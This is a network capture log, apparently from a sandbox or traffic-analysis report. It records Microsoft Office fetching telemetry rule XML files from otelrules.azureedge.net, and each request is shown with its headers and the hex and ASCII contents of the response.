2024-11-26 07:05:03 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:05:03 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: fdde7aaa-d01e-0028-2a8c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070503Z-174f7845968xr5c2hC1EWRd0hn0000000bwg0000000094hu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:05:03 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.8	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:05:03 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:05:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:05:03 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: f418fe9b-801e-0047-5281-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070503Z-174f7845968swgbqhC1EWRmnb40000000v6g0000000087pd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:05:04 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.8	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:05:03 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:05:04 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:05:03 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c668448b-101e-007a-2d91-3f047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070503Z-174f7845968qj8jrhC1EWRh41s0000000v4g000000000758 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 07:05:04 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.8	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:05:04 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:05:04 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:05:04 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8c2ab893-e01e-0003-5391-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070504Z-174f7845968v75bwhC1EWRuqen0000000g40000000001bpf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:05:04 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.8	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:05:04 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:05:04 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:05:04 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 6eac8613-a01e-006f-3091-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070504Z-174f7845968l4kp6hC1EWRe8840000000va00000000079s5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:05:04 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.8	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:05:05 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:05:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:05:06 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: baa0a071-001e-0082-5b91-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070506Z-174f7845968v75bwhC1EWRuqen0000000g30000000002w70 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:05:06 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.8	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:05:05 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:05:06 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:05:06 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a75c6aaa-401e-002a-4291-3fc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070506Z-174f7845968g6hv8hC1EWR1v2n00000002xg00000000c51q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 07:05:06 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.8	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:05:06 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:05:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:05:06 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 003cf3b7-b01e-0053-2e8c-3fcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070506Z-174f78459688l8rvhC1EWRtzr000000007kg00000000cdu7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:05:06 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.8	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:05:06 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:05:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:05:06 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: e56afb1e-801e-0083-3991-3ff0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070506Z-174f7845968j6t2phC1EWRcfe80000000v9g000000003qn6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:05:06 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.8	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:05:08 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:05:08 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:05:08 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 3d9c3aa7-901e-00ac-5891-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070508Z-174f78459684bddphC1EWRbht40000000uv0000000004qxd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:05:08 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.8	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:05:08 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:05:08 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:05:08 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 47663499-e01e-0051-6891-3f84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070508Z-174f7845968kvnqxhC1EWRmf3g0000000dv0000000008d16 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:05:08 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.8	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:05:08 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:05:09 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:05:08 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 9fc3e736-101e-0046-4391-3f91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070508Z-174f78459688l8rvhC1EWRtzr000000007k000000000dnc8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:05:09 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> 